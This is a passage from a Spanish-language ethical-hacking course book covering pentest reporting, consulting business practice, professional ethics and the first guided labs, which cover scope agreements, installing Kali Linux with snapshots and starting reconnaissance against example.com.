Ejemplo 2: Resumen ejecutivo de ejemplo

RESUMEN EJECUTIVO - Evaluación de seguridad (laboratorio)

Período: [fechas] | Alcance: red de laboratorio 10.0.2.0/24

Estado general: DEFICIENTE (semáforo rojo). Se identificaron 12 hallazgos: 3 críticos, 4 altos, 3 medios y 2 bajos.

Los 3 hallazgos críticos permitirían a un atacante tomar control de sistemas de la red. El patrón común es la falta de mantenimiento: software desactualizado y credenciales débiles.

Recomendación general: aplicar el plan de corrección priorizado (estimado: 3 días de trabajo técnico) y programar un re-test en 30 días para verificar. Con esas correcciones el estado pasaría a ACEPTABLE.

[Tabla resumen: severidad | cantidad | ejemplos]

Nota el lenguaje: sin jerga, con números, con plan. Así hablan los profesionales con directivos.

Ejemplo 3: Estructura de carpetas de un proyecto real

```
~/proyectos/cliente-ejemplo-2026/  
  01-alcance/          -> acuerdo firmado, comunicaciones  
  02-reconocimiento/ -> mapas, salidas whois/dig/harvester  
  03-escaneo/          -> salidas nmap (-oA), inventarios  
  04-vulnerabilidades/ -> reportes de escáner, análisis, priorización  
  05-evidencia/        -> capturas censuradas, logs relevantes  
  06-informe/          -> borrador, versión final PDF  
  07-seguimiento/      -> plan de corrección, resultados re-test
```

Trabajar ordenado desde el día uno te hace ver (y ser) profesional. Usa esta estructura en tus prácticas finales.

Ejemplo 4: Guion de presentación de cierre (20 minutos)

```
1. Gracias y objetivo del proyecto (2 min)  
2. Alcance y metodología en una diapositiva (2 min)  
3. Estado general con semáforo (2 min)  
4. Top 5 hallazgos: uno por diapositiva, impacto de negocio (8 min)  
5. Demostración controlada de UN hallazgo (3 min, con permiso)  
6. Plan de corrección priorizado y oferta de re-test (3 min)  
Reglas: sin jerga innecesaria, sin presumir, con tiempos respetados.
```

Profundización: el negocio del hacking ético

Taller de redacción: del hallazgo técnico al lenguaje de negocio

Practica convertir jerga en impacto. Técnica: "SMBv1 habilitado, vulnerable a MS17-010".
Negocio: "Un atacante en la red podría tomar control total de este servidor sin contraseña, como ocurrió en el ataque WannaCry que paralizó hospitales; la corrección toma 30 minutos".
Regla: cada hallazgo del informe técnico lleva su gemelo en el resumen: qué significa en dinero, operación o reputación. Los directivos no pagan por CVEs; pagan por evitar pérdidas. Aprende su idioma.

Métricas que venden programas de seguridad

A la dirección no le importan los puertos; le importan tendencias: número de hallazgos críticos por trimestre (¿baja?), tiempo medio de corrección por severidad, % de sistemas parcheados

al día, tasa de clic en simulacros de phishing, incidentes contenidos vs exitosos. Presenta semáforos y evolución, no listas. Un consultor que entrega métricas trimestrales se vuelve indispensable: vende el programa continuo, no el susto único.

Tu contrato de servicios (cláusulas esenciales)

Además del alcance (Unidad 1): objeto del servicio y entregables, duración y cronograma, precio y forma de pago (anticipo del 50% es estándar), confidencialidad mutua y manejo de datos, limitación de responsabilidad (haces tu mejor esfuerzo profesional; no garantizas "100% seguro", nadie puede), propiedad del informe, causas de terminación, y jurisdicción. Que un abogado lo revise una vez y reusalo siempre. Un contrato serio filtra clientes problemáticos y te protege de los normales cuando algo sale mal.

Precios: cómo cotizar sin regalarte ni espantar

Factores: tamaño del alcance (IPs, aplicaciones), profundidad (caja negra vs blanca), días estimados (un pentest serio son días, no horas), tu experiencia y el mercado local. Estructura: precio fijo por paquete definido (mejor que por hora para el cliente), con re-test incluido o cotizado aparte. Nunca coticies sin ver el alcance: "depende" es la respuesta honesta hasta dimensionar. Y nunca compitas solo por precio contra quien regala el trabajo: compite por informe, metodología y seguimiento.

Entrevistas: lo que realmente preguntan

Además de lo técnico: "cuéntame tu metodología" (las 5 fases, con ejemplo), "¿cómo manejas un hallazgo fuera de alcance?" (no lo toco, lo documento, lo comunico), "¿cómo le explicas un riesgo a un director?" (impacto de negocio, sin jerga), "¿qué haces si rompes algo en producción?" (aviso inmediato al contacto de emergencia, ayuda a revertir, lo documento: honestidad total). Y la pregunta trampa: "¿sabes hackear X?" La respuesta profesional: "sé evaluar la seguridad de X con autorización y metodología; cuéntame el alcance". Actitud > trucos.

Comunidad: donde están las oportunidades

Congresos y meetups locales, comunidades online (foros, Discord de seguridad), CTFs (competencias de hacking legal: entrenan y dan prestigio), plataformas de práctica (TryHackMe para empezar, HackTheBox para subir nivel), y contribuir: write-ups, charlas, reportes responsables. El 70% de los empleos en seguridad llegan por referencias: sé visible, sé útil, sé ético. Tu reputación en la comunidad es tu currículum vivo.

Plan de aprendizaje continuo (el campo no se detiene)

Rutina profesional mínima: 30 minutos semanales de noticias de seguridad (boletines, avisos de fabricantes), una máquina de práctica al mes, un tema profundo por trimestre (web, redes, nube, forense...), y una certificación cada 1-2 años al inicio. Documenta lo que aprendes (blog, notas): enseñar es la mejor forma de fijar conocimiento y construye tu marca. En 5 años, quien estudia constante le saca vueltas a quien se quedó con lo del curso.

Glosario de la unidad

Entregable: producto pactado que recibe el cliente. Re-test: verificación de correcciones. Alcance: límites del trabajo. SLA: tiempos comprometidos. CTF: competencia de seguridad (juego legal). Write-up: documento que explica cómo resolviste un reto. Portafolio: evidencia de tu trabajo.

Práctica

Ejercicio 1: Informe completo de tu laboratorio

Usando tus prácticas de las Unidades 3-9, escribe un informe completo ficticio pero profesional: portada, resumen ejecutivo, alcance, 5 hallazgos con la plantilla del Ejemplo 1, recomendaciones y conclusión. Mínimo 6 páginas.

Solución: Evalúalo con checklist: ¿el resumen lo entiende un no técnico? ¿cada hallazgo tiene severidad, evidencia, impacto y recomendación concreta? ¿las recomendaciones son accionables con estimación? ¿los datos sensibles están censurados? Si marcas todo sí, tienes un informe de muestra para tu portafolio. Este es el ejercicio más importante de la unidad: hazlo con calma.

Ejercicio 2: Severidad justificada

Toma 3 hallazgos de tu laboratorio y escribe para cada uno el párrafo de "impacto de negocio" en máximo 3 líneas, sin jerga.

Solución: Ejemplo válido: "ALTA: cualquiera en la red puede leer los archivos del servidor sin contraseña; entre ellos hay documentos internos. Un empleado descontento o un visitante con laptop podría copiarlos en minutos." Si tu abuela empresaria lo entiende y se preocupa en la medida justa, está bien escrito.

Ejercicio 3: Tu plan de certificaciones

Investiga Security+, eJPT y PNPT (temario, costo, formato de examen) y escribe tu plan a 12 meses: cuál primero, por qué, y qué estudiarás cada trimestre.

Solución: No hay plan único; uno sensato: trimestres 1-2, repasar fundamentos con este libro + laboratorio documentado; trimestre 3, preparación y examen de la primera certificación; trimestre 4, especialización inicial (web o redes) + empezar bug bounty o write-ups públicos. Si tu plan combina estudio, práctica y evidencia (portafolio), es realista.

Ejercicio 4: Prepara tu primer servicio

Define un paquete "Auditoría básica para pymes": qué incluye (alcance típico), qué entregas (informe + presentación), cuánto dura y qué NO incluye (límites claros).

Solución: Ejemplo: incluye red local (hasta 20 equipos), Wi-Fi, revisión de contraseñas/políticas y capacitación de 1 hora; entrega informe + presentación + re-test a 30 días; dura 1 semana; NO incluye pruebas destructivas ni ingeniería social sin autorización separada. Definir límites claros es tan profesional como definir el servicio.

Ejercicio 5: Código de ética personal

Escribe tu código de ética profesional en 10 puntos, firmalo y guárdalo. Incluye autorización, confidencialidad, honestidad y aprendizaje continuo.

Solución: Debe reflejar las Unidades 1 y 10: solo trabajo autorizado por escrito, confidencialidad absoluta, reportar todo lo encontrado, no hacer daño, rechazar trabajos ilegales, mantenerse actualizado, ayudar a la comunidad. Firmarlo parece simbólico, pero los profesionales que lo hacen lo toman más en serio. Guárdalo donde lo veas.

Ejercicio 6: Simulación de entrevista

Responde por escrito, como en una entrevista de trabajo: 1) "¿Qué haces si encuentras algo fuera del alcance?" 2) "¿Cómo priorizas 100 hallazgos?" 3) "Cuéntame de un error que cometiste en tu laboratorio y qué aprendiste."

Solución: Respuestas modelo: 1) "Lo documento, no lo toco, y lo comunico al cliente para ampliar el alcance formalmente si lo desea." 2) "Por riesgo: severidad técnica más exposición e impacto al negocio; entrego top 10 accionable primero." 3) "Cualquier error honesto con lección concreta (ej: 'olvidé un snapshot y tuve que reinstalar; desde entonces snapshot antes de todo'). La honestidad y la metodología puntúan más que la perfección."

Caso práctico integral: tu primer encargo, de punta a punta (simulación completa)

Vamos a simular tu primer cliente real: "Café Aroma S.A." te contrata una evaluación integral. Sigue el guion; cuando tengas clientes reales, será este mismo flujo.

Semana 0: Venta y contrato. El dueño te contacta por recomendación. Haces una visita de descubrimiento (gratis, 1 hora): escuchas sus preocupaciones, identificas sus activos (tienda en línea, 4 locales, 40 empleados) y detectas que no sabe qué tiene expuesto. Le propones el paquete "Evaluación integral pyme": reconocimiento + escaneo + análisis de vulnerabilidades + auditoría Wi-Fi de matriz + revisión de credenciales/políticas + informe + presentación + re-test a 30 días. Le entregas propuesta escrita: alcance, metodología (5 fases), duración (3 semanas), precio fijo, entregables y exclusiones. Firma contrato con alcance detallado (Unidad 1, plantilla). Anticipo del 50%. Ya eres un profesional con proceso, no un "chavo que sabe computación".

Semana 1: Reconocimiento y escaneo. Ejecutas las fases 1-3 en ventanas acordadas, documentando todo en tu estructura de carpetas (Unidad 10, Ejemplo 3). Bitácora diaria. Si encuentras algo crítico que requiere acción inmediata (ej: base de datos expuesta), avisas al contacto de emergencia el mismo día: la ética manda sobre el cronograma.

Semana 2: Análisis y reporte. Priorizas hallazgos, redactas informe (resumen ejecutivo + técnico + anexos), lo revisas dos veces (¿jerga en el resumen? ¿recomendaciones accionables? ¿datos censurados?), y lo envías por canal seguro 48h antes de la presentación.

Semana 3: Presentación y cierre. Presentas 20 minutos al dueño y su encargado de TI: semáforo, top 5, demo controlada de un hallazgo, plan de corrección. Respondes preguntas con calma. Entregas factura del 50% restante. Pides testimonio escrito y permiso para caso de éxito anonimizado.

Día 30-45: Re-test. Verificas correcciones, emites informe de seguimiento con semáforo actualizado. El dueño ve el progreso medible: te recomienda con otros dos negocios. Así nace una consultora.

Lecciones: el proceso vende tanto como la técnica; la documentación te protege; el re-test genera ingresos recurrentes; y cada cliente bien atendido trae dos más. Tu primer año se construye así, proyecto a proyecto.

Tu plan de negocio en una página (consultor independiente)

Propuesta de valor: "Hago que tu negocio sea un objetivo caro para los delincuentes, con evaluaciones claras y correcciones medibles". Servicios: 3 paquetes (básico: exposición pública + Wi-Fi + informe; integral: + escaneo interno + credenciales; continuo: todo + revisiones trimestrales). Precios: fijos por paquete según tamaño, con re-test incluido en el integral. Clientes ideales: pymes de 10-100 empleados que manejan datos de clientes y nunca se han auditado. Adquisición: referidos, charlas gratuitas en cámaras de comercio, contenido educativo (tu blog con lo aprendido). Operación: plantillas (alcance, informe, checklist) para ser eficiente. Finanzas: anticipo 50%, fondo de 3 meses, reinvierte en formación. Métricas: proyectos/mes, % de recompra, referidos por cliente. Revisa el plan cada trimestre: un negocio también se audita.

Marca personal: sé el profesional visible

Blog o canal con lo que aprendes (este libro te da 10 unidades de contenido), charlas en escuelas y cámaras (el público te recuerda), participación en comunidades y CTFs, y testimonios de clientes (con permiso). Reglas: nunca presumas accesos ni datos de clientes, nunca publiques técnicas sin contexto defensivo, y mantén coherencia entre lo que predicas y tu propia higiene digital. En 2 años de constancia, tu nombre aparece cuando alguien busca "seguridad" en tu ciudad: eso vale más que cualquier anuncio.

El decálogo del consultor (pégalo en tu pared)

1. Sin alcance firmado no toco nada.
2. Documento todo, siempre.
3. Reporto lo encontrado, me guste o no al cliente.
4. La confidencialidad es sagrada.
5. Nunca exagero severidades para vender.
6. Digo "no sé" cuando no sé, y lo investigo.
7. Pruebo en laboratorio antes que en producción.
8. Cobro lo justo y entrego más de lo prometido.
9. Aprendo todas las semanas.
10. Mi reputación vale más que cualquier proyecto.

Taller avanzado: propuesta comercial y más preparación profesional

Plantilla de propuesta de servicios (adáptala y úsala)

PROPUESTA DE EVALUACIÓN DE SEGURIDAD

Para: [Cliente] | Fecha: ____ | Vigencia: 30 días

1. ENTENDIMIENTO: [2-3 líneas de lo que el cliente necesita, con sus palabras]
2. ALCANCE PROPUESTO:
Incluido: [IPs, URLs, redes, con números]
Excluido: [explícito]
3. METODOLOGÍA: 5 fases (reconocimiento, escaneo, análisis, explotación controlada, reporte) + estándares de referencia
4. ENTREGABLES: informe ejecutivo + técnico, presentación de cierre, plan de corrección priorizado, re-test a 30 días
5. CRONOGRAMA: [semanas y actividades]
6. INVERSIÓN: \$[monto] + IVA. 50% anticipo, 50% contra entrega.
Re-test incluido. Cambios de alcance se cotizan aparte.
7. CONDICIONES: confidencialidad mutua, ventana de pruebas acordada, contacto de emergencia del cliente, limitación de responsabilidad profesional estándar.
8. SIGUIENTE PASO: firma de contrato y agendamiento de reunión de arranque.

[Tu nombre] | [contacto] | lucasegaacademy.com

Una propuesta así, enviada en 24h tras la primera reunión, te pone por encima del 90% de los "técnicos" que cotizan por WhatsApp con "te cobro X".

10 preguntas más de entrevista (con enfoque de respuesta)

1. "¿Black, grey o white box?" -> Explica los tres y cuándo usar cada uno (Unidad 1).
2. "¿Cómo priorizas 200 hallazgos?" -> Riesgo = severidad técnica x exposición x impacto; top 10 accionable primero (Unidad 5).
3. "¿Nmap o Nessus?" -> Para qué sirve cada uno; no compiten, se complementan (Unidades 4-5).
4. "¿Qué haces si tumbas un servicio en producción?" -> Aviso inmediato al contacto de emergencia, ayuda a revertir, documento todo, lecciones aprendidas. Honestidad radical.
5. "Explícame el apretón de manos TCP" -> De memoria y con dibujo (Unidad 4).
6. "¿Cómo defenderías una pyme con poco presupuesto?" -> Parches, MFA, respaldos, capacitación: lo gratis/ barato primero (todo el libro).
7. "¿Qué opinas del bug bounty?" -> Excelente escuela con reglas; autorización y alcance mandan.
8. "Cuéntame de un falso positivo que hayas encontrado" -> Cualquiera de tu laboratorio, con cómo lo verificaste (Unidad 5).
9. "¿Cómo te mantienes actualizado?" -> Tu rutina semanal + fuentes (Unidad 10).
10. "¿Por qué deberíamos contratarte a ti?" -> Metodología + ética + comunicación: "encuentro, priorizo, explico y verifico; y mi trabajo viene con informe que su dirección entiende".

Manejo de clientes difíciles (manual de supervivencia)

El que pide "solo un escaneito rápido gratis": "Con gusto le cotizo la evaluación exprés; el trabajo sin alcance firmado nos pone en riesgo a ambos." El que quiere que omitas hallazgos: no negociable (Unidad 10, dilema 3). El que no implementa nada y luego te culpa: tu informe con recomendaciones fechadas es tu defensa; ofrece el re-test por escrito. El que regatea hasta lo absurdo: "Mi precio refleja días de trabajo y responsabilidad profesional; puedo ajustar el alcance, no la calidad." El que paga tarde: anticipo 50% + hitos; sin anticipo no hay calendario. Poner límites es profesional, no grosero.

Tu primer año: calendario realista

Meses 1-3: laboratorio + portafolio (write-ups, informe muestra) + primera certificación en curso. Meses 4-6: certificación lista + primeros servicios a conocidos (con contrato, aunque sean baratos: la práctica con clientes reales no tiene sustituto) + contenido público semanal. Meses 7-9: sube precios con cada 3 clientes, pide testimonios, especialízate en un vertical (pymes, web, redes). Meses 10-12: evalúa: ¿empleo o consultoría? Con portafolio + clientes + certificación, ambas puertas están abiertas. La constancia le gana al talento: 2 horas diarias por un año transforman tu perfil.

Resumen de la unidad

El informe es el producto real del pentest: portada, resumen ejecutivo para directivos, alcance y metodología, hallazgos detallados (severidad, evidencia censurada, impacto de negocio, recomendación concreta), recomendaciones generales y anexos. Escribe para dos audiencias, justifica severidades en lenguaje de negocio y protege la confidencialidad del documento. Presenta en 20 minutos enfocados y cierra el ciclo con re-test. Tu carrera: fundamentos sólidos (este libro) + laboratorio documentado + portafolio con write-ups e informes de muestra + certificaciones progresivas (Security+/eJPT primero, OSCP como meta). Empieza con pymes, define paquetes con límites claros, cobra lo justo y construye reputación. Y por encima de todo: la ética es tu activo más valioso; un solo fallo ético destruye años de carrera.

Felicidades: completaste las 10 unidades. Ahora demuestra lo aprendido en el examen final.

ANEXO A: 10 LABORATORIOS GUIADOS PASO A PASO

Estos diez laboratorios acompañan a las diez unidades del libro. Cada uno está diseñado para realizarse en tu propio equipo de laboratorio (tu máquina virtual, tu red casera, tu dominio o example.com). Nunca pruebes técnicas contra sistemas que no sean tuyos o que no tengas permiso escrito para evaluar. La regla de oro de todo el anexo: autorización primero, técnica después.

Antes de empezar, prepara una libreta de laboratorio (física o digital). En ella anotarás fecha, hora, objetivo de la sesión, comandos ejecutados y resultados. Un profesional de seguridad documenta todo; la libreta es tu primera herramienta defensiva.

Laboratorio 1: Acuerdo de alcance y clasificación de escenarios éticos

Objetivo

Al terminar este laboratorio serás capaz de redactar un acuerdo de alcance profesional (también llamado "reglas de juego" o "rules of engagement") y de distinguir, sin titubeos, entre una prueba autorizada y una actividad ilegal. Este laboratorio no usa herramientas técnicas porque la primera defensa de un profesional es jurídica y ética: si no hay permiso claro y por escrito, no hay prueba.

Requisitos

- Un editor de texto (Bloc de notas, gedit, nano o el que prefieras).
- Tu libreta de laboratorio.
- Los conceptos de la Unidad 1 (ética, autorización, alcance).
- Aproximadamente 60 minutos.

Desarrollo

Paso 1. Define las partes del acuerdo. Abre tu editor de texto y crea un documento llamado "acuerdo-alcance-lab1.txt". Escribe un encabezado con los datos ficticios pero realistas de una prueba: quién la solicita (el "cliente"), quién la ejecuta (el "evaluador", que eres tú) y la fecha.

Aunque sea un ejercicio, usa datos completos: nombre del cliente, nombre del evaluador, correo de contacto y teléfono. En la vida real, un acuerdo sin datos de contacto es inútil cuando algo sale mal.

Paso 2. Describe el objetivo de la prueba en dos o tres líneas. Por ejemplo: "Evaluar la postura de seguridad de la red interna de la empresa ficticia Tienda Luna, con el fin de identificar vulnerabilidades que un atacante podría aprovechar y proponer medidas de corrección". Nota que el objetivo menciona un fin defensivo: identificar para corregir, no para dañar. Todo acuerdo de alcance serio declara que el propósito es mejorar la seguridad.

Paso 3. Lista los sistemas DENTRO del alcance. Sé específico: direcciones IP, rangos o nombres de dominio. Un ejemplo válido sería "192.168.50.10 a 192.168.50.30 (servidores del laboratorio), dominio tienda-luna-lab.local". La especificidad protege a ambas partes: el cliente sabe qué se va a tocar y tú sabes qué NO debes tocar.

Paso 4. Lista los sistemas FUERA del alcance. Esta es la sección más importante del documento. Escribe explícitamente qué está prohibido: "Quedan fuera del alcance los equipos de los empleados, los sistemas de producción reales, las bases de datos con datos de clientes y cualquier sistema de terceros". En pruebas reales, la mayoría de los incidentes legales ocurren porque alguien tocó algo que "creyó" que estaba incluido. Si no está escrito, no está incluido.

Paso 5. Define las técnicas permitidas y las prohibidas. Permite, por ejemplo: escaneo de puertos, enumeración de servicios y pruebas de contraseñas débiles contra cuentas de prueba. Prohíbe explícitamente: ataques de denegación de servicio, ingeniería social contra empleados reales, instalación de software malicioso y cualquier acción que borre o modifique datos. La ingeniería social contra personas reales casi siempre queda fuera en pruebas de nivel básico; anótala como prohibida en tu acuerdo.

Paso 6. Establece horarios y reglas de comunicación. Escribe algo como: "Las pruebas se realizarán de lunes a viernes entre las 09:00 y las 18:00. El evaluador notificará al contacto técnico antes de iniciar cada fase y reportará de inmediato cualquier hallazgo crítico o cualquier afectación no planeada a un servicio". También define un procedimiento de emergencia: qué hacer si un servicio se cae durante la prueba (detener la prueba y avisar, nunca intentar "arreglarlo" en silencio).

Paso 7. Agrega la cláusula de confidencialidad y manejo de evidencias. Indica que toda la información encontrada (contraseñas, datos, capturas de pantalla) es confidencial, que se almacenará cifrada y que se destruirá o devolverá al finalizar el trabajo. Un profesional defensivo trata los datos del cliente como si fueran los suyos.

Paso 8. Cierra el documento con un espacio para firmas y fecha: "Firmado por el cliente: _____. Firmado por el evaluador: _____. Fecha: _____". Guarda el archivo. Léelo completo en voz alta y pregúntate: si un juez leyera esto, ¿entendería exactamente qué se me permitió hacer? Si la respuesta es sí, tu acuerdo está bien redactado.

Paso 9. Clasifica los cinco escenarios siguientes en tu libreta. Para cada uno escribe: AUTORIZADO o NO AUTORIZADO, y una línea explicando por qué.

Escenario A: Escaneas con Nmap tu propia red casera (192.168.1.0/24) para encontrar qué puertos tienen abiertos tus dispositivos.

Escenario B: Un amigo te dice "a ver si puedes entrar a mi correo, te doy permiso de palabra" y lo intentas sin nada por escrito.

Escenario C: Una empresa te contrata con un acuerdo firmado como el que redactaste, y pruebas únicamente los servidores listados en el alcance, dentro del horario pactado.

Escenario D: Encuentras en internet la dirección IP de un servidor de una tienda real y decides "solo escanear un poco para practicar, sin hacer daño".

Escenario E: En tu máquina virtual Metasploitable (tu laboratorio) pruebas contraseñas débiles contra el servicio FTP que tú mismo instalaste.

Paso 10. Revisa tus respuestas con la clave que está en la sección de verificación. Si fallaste alguna, vuelve a leer la Unidad 1 y corrige tu libreta con la explicación correcta. El objetivo no es adivinar, es entender el criterio.

Errores comunes y cómo resolverlos

Error típico 1: confundir el objetivo con el alcance. El objetivo dice PARA QUÉ es la prueba ("mejorar la seguridad"); el alcance dice QUÉ se puede tocar ("estos 20 servidores"). Si tu sección de alcance habla de propósitos en vez de sistemas, reescríbela con IPs y nombres concretos.

Error típico 2: clasificar el escenario B como autorizado "porque me dio permiso". El permiso verbal no deja evidencia y no cubre al proveedor del correo, que es un tercero. Regla práctica: si no lo puedes mostrar firmado (o por escrito con fecha), no existe.

Error típico 3: dejar los sistemas fuera del alcance en una frase vaga como "lo demás no". La vaguedad es enemiga del acuerdo: lista explícitamente las categorías prohibidas (equipos de empleados, producción real, datos de clientes, terceros). Lo que no está escrito, no está incluido.

Verificación de resultados

Tu acuerdo de alcance está completo si contiene las ocho secciones: partes, objetivo, sistemas dentro del alcance, sistemas fuera del alcance, técnicas permitidas y prohibidas, horarios y comunicación, confidencialidad, y firmas. La clasificación correcta de los escenarios es: A) AUTORIZADO, porque es tu propia red y no afectas a terceros; B) NO AUTORIZADO, porque el permiso verbal no es verificable y el correo es un sistema de un tercero (el proveedor), no solo de tu amigo; C) AUTORIZADO, porque hay acuerdo escrito y te mantienes dentro de él; D) NO AUTORIZADO, porque "no hacer daño" no es permiso y escanear sin autorización es ilegal en la mayoría de los países; E) AUTORIZADO, porque es tu laboratorio y tú instalaste el servicio.

Preguntas de reflexión

1. ¿Por qué un permiso verbal no es suficiente aunque la persona sea tu amigo? Porque no deja evidencia y no cubre a los terceros involucrados: el correo de tu amigo vive en servidores de una empresa que no te dio permiso, y si algo sale mal no tienes cómo demostrar los límites de lo acordado.
2. ¿Qué harías si durante una prueba autorizada descubres por accidente datos personales de clientes? Detienes esa línea de prueba, lo reportas de inmediato al contacto designado sin copiar ni difundir los datos, y lo documentas en el informe final como hallazgo de exposición de información.
3. ¿Un acuerdo de alcance te protege si decides probar un sistema que no estaba listado "porque parecía parte de la red"? No. Todo lo que no está escrito está fuera del alcance. La protección del acuerdo solo cubre lo que el documento autoriza de forma explícita.

Laboratorio 2: Instalación de Kali Linux, instantáneas y primeros comandos

Objetivo

Al terminar este laboratorio tendrás una máquina virtual con Kali Linux funcionando, sabrás crear y restaurar instantáneas (snapshots) para recuperarte de cualquier error, dominarás los comandos básicos de Linux que usarás en todo el libro y habrás verificado la conectividad con tu máquina víctima de laboratorio (Metasploitable). La instantánea es tu red de seguridad: antes de experimentar, siempre guarda el estado.

Requisitos

- Una computadora con al menos 8 GB de RAM y 40 GB de disco libre.
- VirtualBox instalado (gratuito) o VMware.
- La imagen ISO de Kali Linux descargada desde el sitio oficial kali.org (verifica que la URL sea la oficial antes de descargar).
- La máquina virtual Metasploitable 2 (tu "víctima" de laboratorio) descargada y lista para importar. Es un sistema intencionalmente vulnerable creado para practicar defensa.
- Aproximadamente 90 minutos.

Desarrollo

Paso 1. Crea la máquina virtual de Kali. Abre VirtualBox, haz clic en "Nueva", ponle el nombre "Kali-Lab", selecciona tipo Linux y versión Debian de 64 bits. Asígnale 4096 MB de RAM (4 GB) y crea un disco duro virtual de 40 GB en formato VDI con asignación dinámica. En "Almacenamiento", monta la ISO de Kali en la unidad óptica virtual. Inicia la máquina y elige "Graphical install".

Paso 2. Completa la instalación. Elige tu idioma (español), tu ubicación y la distribución del teclado (latinoamericano o español, según tu teclado físico). Ponle el nombre de máquina "kali" y el dominio "lab.local". Crea tu usuario (por ejemplo "analista") con una contraseña fuerte que recuerdes. Cuando el particionado te pregunte, elige "Guiado - utilizar todo el disco". Acepta instalar el cargador GRUB. Al terminar, retira la ISO de la unidad virtual y reinicia.

Paso 3. Actualiza el sistema. Abre una terminal en Kali e ingresa tu contraseña cuando te la pida. Ejecuta la actualización con estos comandos, uno por uno:

```
sudo apt update
sudo apt full-upgrade -y
```

La primera actualización puede tardar varios minutos porque descarga muchos paquetes. No la interrumpas. Cuando termine, reinicia la máquina virtual con:

```
sudo reboot
```

Paso 4. Crea tu primera instantánea. Con la máquina apagada o encendida, en VirtualBox selecciona "Kali-Lab", ve a la pestaña de instantáneas (el icono de cámara) y haz clic en "Tomar". Nómbrala "Base limpia - post instalación" y agrega la descripción "Kali recién instalado y actualizado, antes de cualquier experimento". Esta instantánea es tu punto de

retorno: si en algún laboratorio futuro rompes algo, restauras esta imagen y sigues como si nada.

Paso 5. Aprende los comandos básicos de orientación. Abre la terminal y ejecuta cada comando observando su salida:

```
whoami  
pwd  
ls -la
```

"whoami" te dice qué usuario eres, "pwd" te dice en qué carpeta estás y "ls -la" lista los archivos incluyendo los ocultos. Ahora practica moverte y mirar:

```
cd /etc  
ls | head -20  
cd ~
```

"cd" cambia de carpeta, "~" es tu carpeta personal y "head -20" muestra solo las primeras 20 líneas. Si alguna vez te pierdes, "pwd" te ubica y "cd ~" te lleva a casa.

Paso 6. Revisa tu propia configuración de red. Ejecuta:

```
ip a
```

Busca la interfaz principal (normalmente "eth0") y anota tu dirección IP, por ejemplo 192.168.56.101. Esa es la dirección de tu Kali dentro de la red del laboratorio. Anótala en tu libreta junto con la fecha. Un defensor siempre sabe cuál es su propia dirección antes de analizar la de otros.

Paso 7. Enciende tu máquina víctima. En VirtualBox inicia la máquina "Metasploitable 2" (no necesita instalación, arranca directo). Espera a que muestre la pantalla de login y anota la IP que aparece o consíguela iniciando sesión (usuario "msfadmin", contraseña "msfadmin") y ejecutando "ifconfig". Supongamos que su IP es 192.168.56.102; usa la que veas en tu pantalla.

Paso 8. Verifica la conectividad con ping. Desde tu Kali ejecuta:

```
ping -c 4 192.168.56.102
```

La opción "-c 4" envía solo 4 paquetes en lugar de hacerlo sin parar. Deberías ver respuestas con tiempos en milisegundos y "0% packet loss". Si hay 100% de pérdida, revisa que ambas

máquinas estén en el mismo modo de red de VirtualBox (recomendado: "Red interna" o "Adaptador puente" según tu guía de instalación) y que la víctima esté encendida.

Paso 9. Toma tu segunda instantánea. Vuelve a VirtualBox y crea una instantánea llamada "Lab 2 completo" con la descripción "Kali actualizado + conectividad verificada con Metasploitable". A partir de ahora, la costumbre profesional es: instantánea antes de cada laboratorio nuevo.

Paso 10. Documenta en tu libreta: versión de Kali instalada, IP de Kali, IP de la víctima, resultado del ping y los nombres de tus dos instantáneas. Esta página de tu libreta será la referencia de red para los laboratorios 4, 5 y 6.

Errores comunes y cómo resolverlos

Error típico 1: la máquina virtual no arranca y muestra "no bootable medium". Casi siempre olvidaste retirar la ISO de la unidad óptica virtual después de instalar. Apaga la VM, ve a Configuración > Almacenamiento, retira la ISO y arranca de nuevo.

Error típico 2: "sudo apt update" falla con errores de red. Revisa que la VM tenga un adaptador de red activo en modo NAT (para internet) o el modo que use tu laboratorio. En VirtualBox: Configuración > Red > Adaptador 1 > Conectado a: NAT. Reinicia la red o la VM.

Error típico 3: el ping a Metasploitable da 100% de pérdida aunque ambas máquinas están encendidas. Significa que están en redes virtuales distintas. Pon ambas en el mismo modo (por ejemplo, "Red interna" con el mismo nombre, o "Adaptador puente") y verifica las IPs con "ip a" en cada una: deben compartir los tres primeros números.

Error típico 4: no encuentras tus instantáneas. En VirtualBox están en la pestaña de instantáneas de cada máquina (icono de cámara), no en una carpeta del sistema. Acostúmbrate a nombrarlas con fecha y descripción clara.

Verificación de resultados

El laboratorio está completo si: Kali arranca y te permite iniciar sesión; "sudo apt update" se ejecuta sin errores; existen dos instantáneas con nombres descriptivos; "whoami", "pwd" e "ip a" devuelven información coherente; y el ping a la IP de Metasploitable muestra 0% de pérdida de paquetes. Si el ping falla, el problema casi siempre es el modo de red de VirtualBox: ambas máquinas deben estar en la misma red virtual.

Preguntas de reflexión

1. ¿Por qué tomar una instantánea antes de experimentar y no después de que algo falla? Porque la instantánea guarda un estado bueno conocido. Si experimentas primero y algo se rompe, ya no tienes a dónde regresar; la instantánea previa es tu copia de seguridad del sistema completo.
2. ¿Qué información te dio "ip a" y por qué la anotaste? Te dio tu dirección IP, la máscara de red y el estado de tus interfaces. La anotaste porque en seguridad primero debes conocer tu propia posición en la red antes de analizar otros equipos; además la necesitarás en laboratorios posteriores.
3. Metasploitable es intencionalmente vulnerable. ¿Por qué es más seguro practicar con ella que con "un servidor viejo que tengo en casa"? Porque Metasploitable está diseñada para laboratorio, aislada en tu red virtual y sin datos reales. Un servidor viejo en tu red casera puede tener servicios expuestos a internet o datos personales, y practicar ahí pone en riesgo tu propia información.

Laboratorio 3: Reconocimiento pasivo - WHOIS, DNS, subdominios y mapa

Objetivo

Al terminar este laboratorio sabrás recolectar información pública sobre un dominio usando herramientas pasivas y semi-pasivas, organizar los hallazgos en un mapa de superficie de ataque y explicar qué puede aprender un defensor de ese mapa. Todo el reconocimiento se hará contra un dominio propio o contra example.com (un dominio reservado para documentación que es seguro consultar). Nunca hagas reconocimiento contra dominios que no sean tuyos.

Requisitos

- Tu máquina virtual Kali del Laboratorio 2, con instantánea tomada.
- Conexión a internet en la máquina Kali.
- Tu libreta de laboratorio.
- Aproximadamente 75 minutos.

Desarrollo

Paso 1. Elige tu objetivo de práctica. Tienes dos opciones seguras: a) un dominio que TÚ hayas registrado o que administres; b) `example.com`, el dominio de ejemplo reservado oficialmente para prácticas y documentación. Si usas tu dominio propio, anótalo en la libreta; si usas `example.com`, escribe "objetivo de práctica: `example.com`". Todo lo que sigue se ejecuta solo contra ese objetivo.

